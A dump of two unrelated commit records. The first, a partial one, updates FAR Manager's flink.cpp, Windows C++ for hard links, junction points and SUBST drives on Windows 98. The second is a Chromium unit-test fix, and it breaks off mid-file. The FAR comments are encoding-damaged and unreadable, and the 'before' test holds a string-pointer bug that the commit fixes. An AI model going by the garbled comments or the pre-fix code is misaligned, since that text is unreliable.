-a4\n#endif\nint WINAPI MkLink(char *Src,char *Dest)\n{\n struct CORRECTED_WIN32_STREAM_ID\n {\n DWORD dwStreamId ;\n DWORD dwStreamAttributes ;\n LARGE_INTEGER Size ;\n DWORD dwStreamNameSize ;\n WCHAR cStreamName[ ANYSIZE_ARRAY ] ;\n } StreamId;\n\n char FileSource[NM],FileDest[NM];\n WCHAR FileLink[NM];\n\n HANDLE hFileSource;\n\n DWORD dwBytesWritten;\n LPVOID lpContext;\n DWORD cbPathLen;\n DWORD StreamSize;\n\n BOOL bSuccess;\n\n\/\/ ConvertNameToFull(Src,FileSource, sizeof(FileSource));\n if (ConvertNameToFull(Src,FileSource, sizeof(FileSource)) >= sizeof(FileSource)){\n return FALSE;\n }\n\/\/ ConvertNameToFull(Dest,FileDest, sizeof(FileDest));\n if (ConvertNameToFull(Dest,FileDest, sizeof(FileDest)) >= sizeof(FileDest)){\n return FALSE;\n }\n MultiByteToWideChar(CP_OEMCP,0,FileDest,-1,FileLink,sizeof(FileLink)\/sizeof(FileLink[0]));\n\n hFileSource = CreateFile(FileSource,FILE_WRITE_ATTRIBUTES,\n FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);\n\n if(hFileSource == INVALID_HANDLE_VALUE)\n return(FALSE);\n\n lpContext = NULL;\n cbPathLen = (lstrlenW(FileLink) + 1) * sizeof(WCHAR);\n\n StreamId.dwStreamId = BACKUP_LINK;\n StreamId.dwStreamAttributes = 0;\n StreamId.dwStreamNameSize = 0;\n StreamId.Size.u.HighPart = 0;\n StreamId.Size.u.LowPart = cbPathLen;\n\n StreamSize=sizeof(StreamId)-sizeof(WCHAR **)+StreamId.dwStreamNameSize;\n\n bSuccess = BackupWrite(hFileSource,(LPBYTE)&StreamId,StreamSize,\n &dwBytesWritten,FALSE,FALSE,&lpContext);\n\n int LastError=0;\n\n if (bSuccess)\n {\n bSuccess = BackupWrite(hFileSource,(LPBYTE)FileLink,cbPathLen,\n &dwBytesWritten,FALSE,FALSE,&lpContext);\n if (!bSuccess)\n LastError=GetLastError();\n\n BackupWrite(hFileSource,NULL,0,&dwBytesWritten,TRUE,FALSE,&lpContext);\n }\n else\n LastError=GetLastError();\n\n CloseHandle(hFileSource);\n\n if (LastError)\n SetLastError(LastError);\n\n return(bSuccess);\n}\n#if defined(__BORLANDC__)\n#pragma option -a.\n#endif\n\n\/* $ 05.01.2001 SVS\n 㭪 DelSubstDrive - 㤠 Subst ࠩ\n Return: -1 - SUBST-ࠩ, OS .\n 0 - 㤠 \n 1 - 訡 㤠.\n*\/\nint DelSubstDrive(char *DosDeviceName)\n{\n if (WinVer.dwPlatformId==VER_PLATFORM_WIN32_NT)\n {\n char NtDeviceName[512];\n if (QueryDosDevice(DosDeviceName,NtDeviceName,sizeof(NtDeviceName))==0)\n return(-1);\n if (strncmp(NtDeviceName,\"\\\\??\\\\\",4)!=0)\n return(-1);\n return !DefineDosDevice(DDD_RAW_TARGET_PATH|\n DDD_REMOVE_DEFINITION|\n DDD_EXACT_MATCH_ON_REMOVE,\n DosDeviceName, NtDeviceName)?1:0;\n }\n return(-1);\n}\n\/* SVS $ *\/\n\nBOOL GetSubstName(char *LocalName,char *SubstName,int SubstSize)\n{\n if (WinVer.dwPlatformId==VER_PLATFORM_WIN32_NT)\n {\n char Name[512]=\"\";\n if (QueryDosDevice(LocalName,Name,sizeof(Name))==0)\n return(FALSE);\n if (strncmp(Name,\"\\\\??\\\\\",4)!=0)\n return(FALSE);\n strncpy(SubstName,Name+4,SubstSize);\n return(TRUE);\n }\n return(FALSE);\n}\n\n<commit_msg>FAR patch 00404.SUBST_98 Дата : 25.01.2001 Сделал : Valentin Skirdin Описание : SUBST in Win98 Измененные файлы : flink.cpp Состав : 00404.SUBST_98.txt flink.cpp.404.diff Основан на патче : 403 Дополнение :<commit_after>\/*\nflink.cpp\n\n ࠧ 㭪権 ࠡ⪥ Link` - Hard&Sym\n\n*\/\n\n\/* Revision: 1.05 25.01.2001 $ *\/\n\n\/*\nModify:\n 25.01.2001 SVS\n ! 㭪樨 GetSubstName DelSubstDrive ⥯ ଠ쭮 ࠡ \n Windows98\n 05.01.2001 SVS\n + 㭪 GetSubstName - ॥堫 mix.cpp\n + 㭪 DelSubstDrive - 㤠 Subst ࠩ\n 05.01.2000 OT\n - ᬥ⨪, - ன VC :)\n 04.01.2001 SVS\n + 誨 CreateJunctionPoint, DeleteJunctionPoint\n + GetJunctionPointInfo - Junc\n 03.01.2001 SVS\n ! 뤥 ⢥ ᠬ⥫쭮 \n + GetNumberOfLinks MkLink ॥堫 mix.cpp\n*\/\n\n#include \"headers.hpp\"\n#pragma hdrstop\n\n#include \"internalheaders.hpp\"\n\n\n\/\/#if defined(__BORLANDC__)\n\/\/ current thread's ANSI code page\n #define CP_THREAD_ACP 3\n\n #define MAXIMUM_REPARSE_DATA_BUFFER_SIZE ( 16 * 1024 )\n \/\/ Predefined reparse tags.\n \/\/ These tags need to avoid conflicting with IO_REMOUNT defined in ntos\\inc\\io.h\n #define IO_REPARSE_TAG_RESERVED_ZERO (0)\n #define IO_REPARSE_TAG_RESERVED_ONE (1)\n\n \/\/ The value of the following constant needs to satisfy the following conditions:\n \/\/ (1) Be at least as large as the largest of the reserved tags.\n \/\/ (2) Be strictly smaller than all the tags in use.\n #define IO_REPARSE_TAG_RESERVED_RANGE IO_REPARSE_TAG_RESERVED_ONE\n \/\/ The following constant represents the bits that are valid to use in\n \/\/ reparse tags.\n #define IO_REPARSE_TAG_VALID_VALUES (0xE000FFFF)\n \/\/ Macro to determine whether a reparse tag is a valid tag.\n #define IsReparseTagValid(_tag) ( \\\n !((_tag) & ~IO_REPARSE_TAG_VALID_VALUES) && \\\n ((_tag) > IO_REPARSE_TAG_RESERVED_RANGE) \\\n )\n #define FILE_FLAG_OPEN_REPARSE_POINT 0x00200000\n #define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\/\/ REPARSE_DATA_BUFFER\n\/\/#endif\nstruct TMN_REPARSE_DATA_BUFFER\n{\n DWORD ReparseTag;\n WORD ReparseDataLength;\n WORD Reserved;\n\n \/\/ IO_REPARSE_TAG_MOUNT_POINT specifics follow\n WORD SubstituteNameOffset;\n WORD SubstituteNameLength;\n WORD PrintNameOffset;\n WORD PrintNameLength;\n WCHAR PathBuffer[1];\n\n \/\/ Some helper functions\n \/\/BOOL Init(LPCSTR szJunctionPoint);\n \/\/BOOL Init(LPCWSTR wszJunctionPoint);\n \/\/int BytesForIoControl() const;\n};\n\n\nBOOL WINAPI CreateJunctionPoint(LPCTSTR szMountDir, LPCTSTR szDestDirArg)\n{\n return TRUE;\n}\n\nBOOL WINAPI DeleteJunctionPoint(LPCTSTR szDir)\n{\n return TRUE;\n}\n\nDWORD WINAPI GetJunctionPointInfo(LPCTSTR szMountDir,\n LPTSTR szDestBuff,\n DWORD dwBuffSize)\n{\n const DWORD FileAttr = GetFileAttributes(szMountDir);\n if (FileAttr == 0xffffffff || !(FileAttr & FILE_ATTRIBUTE_REPARSE_POINT))\n {\n SetLastError(ERROR_PATH_NOT_FOUND);\n return 0;\n }\n\n HANDLE hDir=CreateFile(szMountDir,GENERIC_READ|0,0,0,OPEN_EXISTING,\n FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,0);\n\n if (hDir == INVALID_HANDLE_VALUE)\n {\n SetLastError(ERROR_PATH_NOT_FOUND);\n return 0;\n }\n\n char szBuff[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];\n TMN_REPARSE_DATA_BUFFER& rdb = *(TMN_REPARSE_DATA_BUFFER*)szBuff;\n\n DWORD dwBytesReturned;\n if (!DeviceIoControl(hDir,\n FSCTL_GET_REPARSE_POINT,\n NULL,\n 0,\n (LPVOID)&rdb,\n MAXIMUM_REPARSE_DATA_BUFFER_SIZE,\n &dwBytesReturned,\n 0) ||\n !IsReparseTagValid(rdb.ReparseTag))\n {\n CloseHandle(hDir);\n return 0;\n }\n\n CloseHandle(hDir);\n\n if (dwBuffSize < rdb.SubstituteNameLength \/ sizeof(TCHAR) + sizeof(TCHAR))\n {\n return rdb.SubstituteNameLength \/ sizeof(TCHAR) + sizeof(TCHAR);\n }\n\n#ifdef UNICODE\n lstrcpy(szDestBuff, rdb.PathBuffer);\n#else\n if (!WideCharToMultiByte(CP_THREAD_ACP,\n 0,\n rdb.PathBuffer,\n rdb.SubstituteNameLength \/ sizeof(WCHAR) + 1,\n szDestBuff,\n dwBuffSize,\n \"\",\n FALSE))\n {\n \/\/printf(\"WideCharToMultiByte failed (%d)\\n\", GetLastError());\n return 0;\n }\n#endif\n return rdb.SubstituteNameLength \/ sizeof(TCHAR);\n}\n\n\n\/* $ 07.09.2000 SVS\n 㭪 GetNumberOfLinks ⮦ 㯭 :-)\n*\/\nint WINAPI GetNumberOfLinks(char *Name)\n{\n HANDLE hFile=CreateFile(Name,0,FILE_SHARE_READ|FILE_SHARE_WRITE,\n NULL,OPEN_EXISTING,0,NULL);\n if (hFile==INVALID_HANDLE_VALUE)\n return(1);\n BY_HANDLE_FILE_INFORMATION bhfi;\n int GetCode=GetFileInformationByHandle(hFile,&bhfi);\n CloseHandle(hFile);\n return(GetCode ? bhfi.nNumberOfLinks:0);\n}\n\/* SVS $*\/\n\n\n#if defined(__BORLANDC__)\n#pragma option -a4\n#endif\nint WINAPI MkLink(char *Src,char *Dest)\n{\n struct CORRECTED_WIN32_STREAM_ID\n {\n DWORD dwStreamId ;\n DWORD dwStreamAttributes ;\n LARGE_INTEGER Size ;\n DWORD dwStreamNameSize ;\n WCHAR cStreamName[ ANYSIZE_ARRAY ] ;\n } StreamId;\n\n char FileSource[NM],FileDest[NM];\n WCHAR FileLink[NM];\n\n HANDLE hFileSource;\n\n DWORD dwBytesWritten;\n LPVOID lpContext;\n DWORD cbPathLen;\n DWORD StreamSize;\n\n BOOL bSuccess;\n\n\/\/ ConvertNameToFull(Src,FileSource, sizeof(FileSource));\n if (ConvertNameToFull(Src,FileSource, sizeof(FileSource)) >= sizeof(FileSource)){\n return FALSE;\n }\n\/\/ ConvertNameToFull(Dest,FileDest, sizeof(FileDest));\n if (ConvertNameToFull(Dest,FileDest, sizeof(FileDest)) >= sizeof(FileDest)){\n return FALSE;\n }\n MultiByteToWideChar(CP_OEMCP,0,FileDest,-1,FileLink,sizeof(FileLink)\/sizeof(FileLink[0]));\n\n hFileSource = CreateFile(FileSource,FILE_WRITE_ATTRIBUTES,\n FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);\n\n if(hFileSource == INVALID_HANDLE_VALUE)\n return(FALSE);\n\n lpContext = NULL;\n cbPathLen = (lstrlenW(FileLink) + 1) * sizeof(WCHAR);\n\n StreamId.dwStreamId = BACKUP_LINK;\n StreamId.dwStreamAttributes = 0;\n StreamId.dwStreamNameSize = 0;\n StreamId.Size.u.HighPart = 0;\n StreamId.Size.u.LowPart = cbPathLen;\n\n StreamSize=sizeof(StreamId)-sizeof(WCHAR **)+StreamId.dwStreamNameSize;\n\n bSuccess = BackupWrite(hFileSource,(LPBYTE)&StreamId,StreamSize,\n &dwBytesWritten,FALSE,FALSE,&lpContext);\n\n int LastError=0;\n\n if (bSuccess)\n {\n bSuccess = BackupWrite(hFileSource,(LPBYTE)FileLink,cbPathLen,\n &dwBytesWritten,FALSE,FALSE,&lpContext);\n if (!bSuccess)\n LastError=GetLastError();\n\n BackupWrite(hFileSource,NULL,0,&dwBytesWritten,TRUE,FALSE,&lpContext);\n }\n else\n LastError=GetLastError();\n\n CloseHandle(hFileSource);\n\n if (LastError)\n SetLastError(LastError);\n\n return(bSuccess);\n}\n#if defined(__BORLANDC__)\n#pragma option -a.\n#endif\n\n\/* $ 05.01.2001 SVS\n 㭪 DelSubstDrive - 㤠 Subst ࠩ\n Return: -1 - SUBST-ࠩ, OS .\n 0 - 㤠 \n 1 - 訡 㤠.\n*\/\nint DelSubstDrive(char *DosDeviceName)\n{\n char NtDeviceName[512];\n if(GetSubstName(DosDeviceName,NtDeviceName,sizeof(NtDeviceName)))\n {\n return !DefineDosDevice(DDD_RAW_TARGET_PATH|\n DDD_REMOVE_DEFINITION|\n DDD_EXACT_MATCH_ON_REMOVE,\n DosDeviceName, NtDeviceName)?1:0;\n }\n return(-1);\n}\n\/* SVS $ *\/\n\nBOOL GetSubstName(char *LocalName,char *SubstName,int SubstSize)\n{\n char Name[NM*2]=\"\";\n LocalName=CharUpper((LPTSTR)LocalName);\n if ((LocalName[0]>='A') && ((LocalName[0]<='Z')))\n {\n \/\/ , WIN98 !!!!\n int SizeName=WinVer.dwPlatformId==VER_PLATFORM_WIN32_NT?sizeof(Name):MAXPATH;\n\n if (QueryDosDevice(LocalName,Name,SizeName) >= 3)\n {\n \/* Subst drive format API differences:\n * WinNT: \\??\\qualified_path (e.g. \\??\\C:\\WinNT)\n * Win98: qualified_path (e.g. C:\\ or C:\\Win98) *\/\n if (WinVer.dwPlatformId==VER_PLATFORM_WIN32_NT)\n {\n if (!strncmp(Name,\"\\\\??\\\\\",4))\n {\n strncpy(SubstName,Name+4,SubstSize);\n return TRUE;\n }\n }\n else\n {\n if(Name[1] == ':' && Name[2] == '\\\\')\n {\n strncpy(SubstName,Name,SubstSize);\n return TRUE;\n }\n }\n }\n }\n return FALSE;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n#include <vector>\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/rand_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/sessions\/session_types.h\"\n#include \"chrome\/browser\/sync\/glue\/synced_session_tracker.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace browser_sync {\n\ntypedef testing::Test SyncedSessionTrackerTest;\n\nTEST_F(SyncedSessionTrackerTest, GetSession) {\n SyncedSessionTracker tracker;\n SyncedSession* session1 = tracker.GetSession(\"tag\");\n SyncedSession* session2 = tracker.GetSession(\"tag2\");\n ASSERT_EQ(session1, tracker.GetSession(\"tag\"));\n ASSERT_NE(session1, session2);\n \/\/ Should clean up memory on it's own.\n}\n\nTEST_F(SyncedSessionTrackerTest, GetTabUnmapped) {\n SyncedSessionTracker tracker;\n SessionTab* tab = tracker.GetTab(\"tag\", 0);\n ASSERT_EQ(tab, tracker.GetTab(\"tag\", 0));\n \/\/ Should clean up memory on it's own.\n}\n\nTEST_F(SyncedSessionTrackerTest, PutWindowInSession) {\n SyncedSessionTracker tracker;\n tracker.PutWindowInSession(\"tag\", 0);\n SyncedSession* session = tracker.GetSession(\"tag\");\n ASSERT_EQ(1U, session->windows.size());\n \/\/ Should clean up memory on it's own.\n}\n\nTEST_F(SyncedSessionTrackerTest, PutTabInWindow) {\n SyncedSessionTracker tracker;\n tracker.PutWindowInSession(\"tag\", 10);\n tracker.PutTabInWindow(\"tag\", 10, 15, 0); \/\/ win id 10, tab id 15, tab ind 0.\n SyncedSession* session = tracker.GetSession(\"tag\");\n ASSERT_EQ(1U, session->windows.size());\n ASSERT_EQ(1U, session->windows[10]->tabs.size());\n ASSERT_EQ(tracker.GetTab(\"tag\", 15), session->windows[10]->tabs[0]);\n \/\/ Should clean up memory on it's own.\n}\n\nTEST_F(SyncedSessionTrackerTest, LookupAllForeignSessions) {\n SyncedSessionTracker tracker;\n std::vector<const SyncedSession*> sessions;\n ASSERT_FALSE(tracker.LookupAllForeignSessions(&sessions));\n tracker.GetSession(\"tag1\");\n tracker.GetSession(\"tag2\");\n tracker.PutWindowInSession(\"tag1\", 0);\n tracker.PutTabInWindow(\"tag1\", 0, 15, 0);\n SessionTab* tab = tracker.GetTab(\"tag1\", 15);\n ASSERT_TRUE(tab);\n tab->navigations.push_back(TabNavigation(\n 0, GURL(\"valid_url\"), GURL(\"referrer\"),\n string16(ASCIIToUTF16(\"title\")),\n std::string(\"state\"), content::PageTransitionFromInt(0)));\n ASSERT_TRUE(tracker.LookupAllForeignSessions(&sessions));\n \/\/ Only the session with a valid window and tab gets returned.\n ASSERT_EQ(1U, sessions.size());\n ASSERT_EQ(\"tag1\", sessions[0]->session_tag);\n}\n\nTEST_F(SyncedSessionTrackerTest, LookupSessionWindows) {\n SyncedSessionTracker tracker;\n std::vector<const SessionWindow*> windows;\n ASSERT_FALSE(tracker.LookupSessionWindows(\"tag1\", &windows));\n tracker.GetSession(\"tag1\");\n tracker.PutWindowInSession(\"tag1\", 0);\n tracker.PutWindowInSession(\"tag1\", 2);\n tracker.GetSession(\"tag2\");\n tracker.PutWindowInSession(\"tag2\", 0);\n tracker.PutWindowInSession(\"tag2\", 2);\n ASSERT_TRUE(tracker.LookupSessionWindows(\"tag1\", &windows));\n ASSERT_EQ(2U, windows.size()); \/\/ Only windows from tag1 session.\n ASSERT_NE((SessionWindow*)NULL, windows[0]);\n ASSERT_NE((SessionWindow*)NULL, windows[1]);\n ASSERT_NE(windows[1], windows[0]);\n}\n\nTEST_F(SyncedSessionTrackerTest, LookupSessionTab) {\n SyncedSessionTracker tracker;\n const SessionTab* tab;\n ASSERT_FALSE(tracker.LookupSessionTab(\"tag1\", 5, &tab));\n tracker.GetSession(\"tag1\");\n tracker.PutWindowInSession(\"tag1\", 0);\n tracker.PutTabInWindow(\"tag1\", 0, 5, 0);\n ASSERT_TRUE(tracker.LookupSessionTab(\"tag1\", 5, &tab));\n ASSERT_NE((SessionTab*)NULL, tab);\n}\n\nTEST_F(SyncedSessionTrackerTest, Complex) {\n const std::string tag1 = \"tag\";\n const std::string tag2 = \"tag2\";\n const std::string tag3 = \"tag3\";\n SyncedSessionTracker tracker;\n std::vector<SessionTab*> tabs1, tabs2;\n SessionTab* temp_tab;\n ASSERT_TRUE(tracker.Empty());\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n ASSERT_EQ(0U, tracker.num_synced_tabs(tag1));\n tabs1.push_back(tracker.GetTab(tag1, 0));\n tabs1.push_back(tracker.GetTab(tag1, 1));\n tabs1.push_back(tracker.GetTab(tag1, 2));\n ASSERT_EQ(3U, tracker.num_synced_tabs(tag1));\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n temp_tab = tracker.GetTab(tag1, 0); \/\/ Already created.\n ASSERT_EQ(3U, tracker.num_synced_tabs(tag1));\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n ASSERT_EQ(tabs1[0], temp_tab);\n tabs2.push_back(tracker.GetTab(tag2, 0));\n ASSERT_EQ(1U, tracker.num_synced_tabs(tag2));\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n ASSERT_FALSE(tracker.DeleteSession(tag3));\n\n SyncedSession* session = tracker.GetSession(tag1);\n SyncedSession* session2 = tracker.GetSession(tag2);\n SyncedSession* session3 = tracker.GetSession(tag3);\n ASSERT_EQ(3U, tracker.num_synced_sessions());\n\n ASSERT_TRUE(session);\n ASSERT_TRUE(session2);\n ASSERT_TRUE(session3);\n ASSERT_NE(session, session2);\n ASSERT_NE(session2, session3);\n ASSERT_TRUE(tracker.DeleteSession(tag3));\n ASSERT_EQ(2U, tracker.num_synced_sessions());\n\n tracker.PutWindowInSession(tag1, 0); \/\/ Create a window.\n tracker.PutTabInWindow(tag1, 0, 2, 0); \/\/ No longer unmapped.\n ASSERT_EQ(3U, tracker.num_synced_tabs(tag1)); \/\/ Has not changed.\n\n const SessionTab *tab_ptr;\n ASSERT_TRUE(tracker.LookupSessionTab(tag1, 0, &tab_ptr));\n ASSERT_EQ(tab_ptr, tabs1[0]);\n ASSERT_TRUE(tracker.LookupSessionTab(tag1, 2, &tab_ptr));\n ASSERT_EQ(tab_ptr, tabs1[2]);\n ASSERT_FALSE(tracker.LookupSessionTab(tag1, 3, &tab_ptr));\n ASSERT_EQ(static_cast<const SessionTab*>(NULL), tab_ptr);\n\n std::vector<const SessionWindow*> windows;\n ASSERT_TRUE(tracker.LookupSessionWindows(tag1, &windows));\n ASSERT_EQ(1U, windows.size());\n ASSERT_TRUE(tracker.LookupSessionWindows(tag2, &windows));\n ASSERT_EQ(0U, windows.size());\n\n \/\/ The sessions don't have valid tabs, lookup should not succeed.\n std::vector<const SyncedSession*> sessions;\n ASSERT_FALSE(tracker.LookupAllForeignSessions(&sessions));\n\n tracker.Clear();\n ASSERT_EQ(0U, tracker.num_synced_tabs(tag1));\n ASSERT_EQ(0U, tracker.num_synced_tabs(tag2));\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n}\n\nTEST_F(SyncedSessionTrackerTest, ManyGetTabs) {\n SyncedSessionTracker tracker;\n ASSERT_TRUE(tracker.Empty());\n const int kMaxSessions = 10;\n const int kMaxTabs = 1000;\n const int kMaxAttempts = 10000;\n for (int j=0; j<kMaxSessions; ++j) {\n std::string tag = \"tag\" + j;\n for (int i=0; i<kMaxAttempts; ++i) {\n \/\/ More attempts than tabs means we'll sometimes get the same tabs,\n \/\/ sometimes have to allocate new tabs.\n int rand_tab_num = base::RandInt(0, kMaxTabs);\n SessionTab* tab = tracker.GetTab(tag, rand_tab_num);\n ASSERT_TRUE(tab);\n }\n }\n}\n\nTEST_F(SyncedSessionTrackerTest, SessionTracking) {\n SyncedSessionTracker tracker;\n ASSERT_TRUE(tracker.Empty());\n std::string tag1 = \"tag1\";\n std::string tag2 = \"tag2\";\n\n \/\/ Create some session information that is stale.\n SyncedSession* session1= tracker.GetSession(tag1);\n tracker.PutWindowInSession(tag1, 0);\n tracker.PutTabInWindow(tag1, 0, 0, 0);\n tracker.PutTabInWindow(tag1, 0, 1, 1);\n tracker.GetTab(tag1, 2)->window_id.set_id(0); \/\/ Will be an unmapped tab.\n tracker.GetTab(tag1, 3)->window_id.set_id(0); \/\/ Will be an unmapped tab.\n tracker.PutWindowInSession(tag1, 1);\n tracker.PutTabInWindow(tag1, 1, 4, 0);\n tracker.PutTabInWindow(tag1, 1, 5, 1);\n ASSERT_EQ(2U, session1->windows.size());\n ASSERT_EQ(2U, session1->windows[0]->tabs.size());\n ASSERT_EQ(2U, session1->windows[1]->tabs.size());\n ASSERT_EQ(6U, tracker.num_synced_tabs(tag1));\n\n \/\/ Create a session that should not be affected.\n SyncedSession* session2 = tracker.GetSession(tag2);\n tracker.PutWindowInSession(tag2, 2);\n tracker.PutTabInWindow(tag2, 2, 1, 0);\n ASSERT_EQ(1U, session2->windows.size());\n ASSERT_EQ(1U, session2->windows[2]->tabs.size());\n ASSERT_EQ(1U, tracker.num_synced_tabs(tag2));\n\n \/\/ Reset tracking and get the current windows\/tabs.\n \/\/ We simulate moving a tab from one window to another, then closing the first\n \/\/ window (including it's one remaining tab), and opening a new tab on the\n \/\/ remaining window.\n tracker.GetTab(tag1, 6); \/\/ New tab, arrived before meta node so unmapped.\n tracker.ResetSessionTracking(tag1);\n tracker.PutWindowInSession(tag1, 0);\n tracker.PutTabInWindow(tag1, 0, 0, 0);\n \/\/ Tab 1 is closed.\n tracker.PutTabInWindow(tag1, 0, 2, 1); \/\/ No longer unmapped.\n \/\/ Tab 3 was unmapped and does not get used.\n tracker.PutTabInWindow(tag1, 0, 4, 2); \/\/ Moved from window 1.\n \/\/ Window 1 was closed, along with tab 5.\n tracker.PutTabInWindow(tag1, 0, 6, 3); \/\/ No longer unmapped.\n \/\/ Session 2 should not be affected.\n tracker.CleanupSession(tag1);\n\n \/\/ Verify that only those parts of the session not owned have been removed.\n ASSERT_EQ(1U, session1->windows.size());\n ASSERT_EQ(4U, session1->windows[0]->tabs.size());\n ASSERT_EQ(1U, session2->windows.size());\n ASSERT_EQ(1U, session2->windows[2]->tabs.size());\n ASSERT_EQ(2U, tracker.num_synced_sessions());\n ASSERT_EQ(4U, tracker.num_synced_tabs(tag1));\n ASSERT_EQ(1U, tracker.num_synced_tabs(tag2));\n\n \/\/ All memory should be properly deallocated by destructor for the\n \/\/ SyncedSessionTracker.\n}\n\n} \/\/ namespace browser_sync\n<commit_msg>Use base::StringPrintf to fix SyncedSessionTrackerTest.ManyGetTabs under AddressSanitizer Review URL: http:\/\/codereview.chromium.org\/8492009<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n#include <vector>\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/rand_util.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/sessions\/session_types.h\"\n#include \"chrome\/browser\/sync\/glue\/synced_session_tracker.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace browser_sync {\n\ntypedef testing::Test SyncedSessionTrackerTest;\n\nTEST_F(SyncedSessionTrackerTest, GetSession) {\n SyncedSessionTracker tracker;\n SyncedSession* session1 = tracker.GetSession(\"tag\");\n SyncedSession* session2 = tracker.GetSession(\"tag2\");\n ASSERT_EQ(session1, tracker.GetSession(\"tag\"));\n ASSERT_NE(session1, session2);\n \/\/ Should clean up memory on it's own.\n}\n\nTEST_F(SyncedSessionTrackerTest, GetTabUnmapped) {\n SyncedSessionTracker tracker;\n SessionTab* tab = tracker.GetTab(\"tag\", 0);\n ASSERT_EQ(tab, tracker.GetTab(\"tag\", 0));\n \/\/ Should clean up memory on it's own.\n}\n\nTEST_F(SyncedSessionTrackerTest, PutWindowInSession) {\n SyncedSessionTracker tracker;\n tracker.PutWindowInSession(\"tag\", 0);\n SyncedSession* session = tracker.GetSession(\"tag\");\n ASSERT_EQ(1U, session->windows.size());\n \/\/ Should clean up memory on it's own.\n}\n\nTEST_F(SyncedSessionTrackerTest, PutTabInWindow) {\n SyncedSessionTracker tracker;\n tracker.PutWindowInSession(\"tag\", 10);\n tracker.PutTabInWindow(\"tag\", 10, 15, 0); \/\/ win id 10, tab id 15, tab ind 0.\n SyncedSession* session = tracker.GetSession(\"tag\");\n ASSERT_EQ(1U, session->windows.size());\n ASSERT_EQ(1U, session->windows[10]->tabs.size());\n ASSERT_EQ(tracker.GetTab(\"tag\", 15), session->windows[10]->tabs[0]);\n \/\/ Should clean up memory on it's own.\n}\n\nTEST_F(SyncedSessionTrackerTest, LookupAllForeignSessions) {\n SyncedSessionTracker tracker;\n std::vector<const SyncedSession*> sessions;\n ASSERT_FALSE(tracker.LookupAllForeignSessions(&sessions));\n tracker.GetSession(\"tag1\");\n tracker.GetSession(\"tag2\");\n tracker.PutWindowInSession(\"tag1\", 0);\n tracker.PutTabInWindow(\"tag1\", 0, 15, 0);\n SessionTab* tab = tracker.GetTab(\"tag1\", 15);\n ASSERT_TRUE(tab);\n tab->navigations.push_back(TabNavigation(\n 0, GURL(\"valid_url\"), GURL(\"referrer\"),\n string16(ASCIIToUTF16(\"title\")),\n std::string(\"state\"), content::PageTransitionFromInt(0)));\n ASSERT_TRUE(tracker.LookupAllForeignSessions(&sessions));\n \/\/ Only the session with a valid window and tab gets returned.\n ASSERT_EQ(1U, sessions.size());\n ASSERT_EQ(\"tag1\", sessions[0]->session_tag);\n}\n\nTEST_F(SyncedSessionTrackerTest, LookupSessionWindows) {\n SyncedSessionTracker tracker;\n std::vector<const SessionWindow*> windows;\n ASSERT_FALSE(tracker.LookupSessionWindows(\"tag1\", &windows));\n tracker.GetSession(\"tag1\");\n tracker.PutWindowInSession(\"tag1\", 0);\n tracker.PutWindowInSession(\"tag1\", 2);\n tracker.GetSession(\"tag2\");\n tracker.PutWindowInSession(\"tag2\", 0);\n tracker.PutWindowInSession(\"tag2\", 2);\n ASSERT_TRUE(tracker.LookupSessionWindows(\"tag1\", &windows));\n ASSERT_EQ(2U, windows.size()); \/\/ Only windows from tag1 session.\n ASSERT_NE((SessionWindow*)NULL, windows[0]);\n ASSERT_NE((SessionWindow*)NULL, windows[1]);\n ASSERT_NE(windows[1], windows[0]);\n}\n\nTEST_F(SyncedSessionTrackerTest, LookupSessionTab) {\n SyncedSessionTracker tracker;\n const SessionTab* tab;\n ASSERT_FALSE(tracker.LookupSessionTab(\"tag1\", 5, &tab));\n tracker.GetSession(\"tag1\");\n tracker.PutWindowInSession(\"tag1\", 0);\n tracker.PutTabInWindow(\"tag1\", 0, 5, 0);\n ASSERT_TRUE(tracker.LookupSessionTab(\"tag1\", 5, &tab));\n ASSERT_NE((SessionTab*)NULL, tab);\n}\n\nTEST_F(SyncedSessionTrackerTest, Complex) {\n const std::string tag1 = \"tag\";\n const std::string tag2 = \"tag2\";\n const std::string tag3 = \"tag3\";\n SyncedSessionTracker tracker;\n std::vector<SessionTab*> tabs1, tabs2;\n SessionTab* temp_tab;\n ASSERT_TRUE(tracker.Empty());\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n ASSERT_EQ(0U, tracker.num_synced_tabs(tag1));\n tabs1.push_back(tracker.GetTab(tag1, 0));\n tabs1.push_back(tracker.GetTab(tag1, 1));\n tabs1.push_back(tracker.GetTab(tag1, 2));\n ASSERT_EQ(3U, tracker.num_synced_tabs(tag1));\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n temp_tab = tracker.GetTab(tag1, 0); \/\/ Already created.\n ASSERT_EQ(3U, tracker.num_synced_tabs(tag1));\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n ASSERT_EQ(tabs1[0], temp_tab);\n tabs2.push_back(tracker.GetTab(tag2, 0));\n ASSERT_EQ(1U, tracker.num_synced_tabs(tag2));\n ASSERT_EQ(0U, tracker.num_synced_sessions());\n ASSERT_FALSE(tracker.DeleteSession(tag3));\n\n SyncedSession* session = 